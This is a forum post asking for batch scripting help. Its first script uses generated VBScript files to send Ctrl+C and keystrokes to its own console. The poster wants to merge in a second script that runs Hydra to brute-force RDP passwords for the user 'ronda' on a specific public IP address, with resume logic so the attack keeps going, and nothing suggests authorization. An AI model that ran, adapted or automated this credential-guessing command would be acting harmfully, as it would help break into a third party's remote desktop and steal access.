here the script:
Code: Select all
@echo off
for /L %%a in (1,1,100) do (
echo(Test waiting for Ctrl+C, loop %%a
ping 1.1.1.1 -w 500 -n 1 > NUL
if %%a equ 6 call :sendCTRLC_WAIT
)
echo(This is never reached.
exit/B
rem wait for a second until ctrl-c is sent to this cmd session
:sendCTRLC_WAIT
SetLocal
set "_file1_=%TEMP%\after.vbs"
set "_file2_=%TEMP%\ctrlc.vbs"
>"%_file1_%" (
echo(wScript.Sleep 1300
echo(set oWS = CreateObject("wScript.Shell"^)
echo(oWS.SendKeys "s"
echo(wScript.Sleep 50
echo(oWS.SendKeys "{ENTER}"
)
>"%_file2_%" (
echo(wScript.Sleep 1000
echo(set oWS = CreateObject("wScript.Shell"^)
echo(oWS.SendKeys "^{c}"
)
start /B cmd /C ""%_file1_%"" & rem del /F /Q "%_file1_%" 2>NUL"
start /B cmd /C ""%_file2_%"" & rem del /F /Q "%_file2_%" 2>NUL"
exit/B 0
:sendCTRLC_TESTED
SetLocal
set "_file1_=%TEMP%\after.vbs"
set "_file2_=%TEMP%\ctrlc.vbs"
>"%_file1_%" (
echo(wScript.Sleep 300
echo(set oWS = CreateObject("wScript.Shell"^)
echo(oWS.SendKeys "s"
echo(wScript.Sleep 50
echo(oWS.SendKeys "{ENTER}"
)
>"%_file2_%" (
echo(set oWS = CreateObject("wScript.Shell"^)
echo(oWS.SendKeys "^{c}"
)
start /B cmd /C ""%_file1_%"" & rem del /F /Q "%_file1_%" 2>NUL"
start /B cmd /C ""%_file2_%"" & rem del /F /Q "%_file2_%" 2>NUL"
exit/B 0
I have the 2'nd batch script which I want to integrate into the script above
Code: Select all
if exist "hydra.restore" (
hydra -R
) else (
hydra -V -l ronda -P pass.txt -e ns -o good.txt -f 217.10.196.138 rdp
)
or when someone close HYDRA.EXE process
So if someone kill hydra process command prompt will exit with ctrl+c
can anyone help me with that plz?
thank you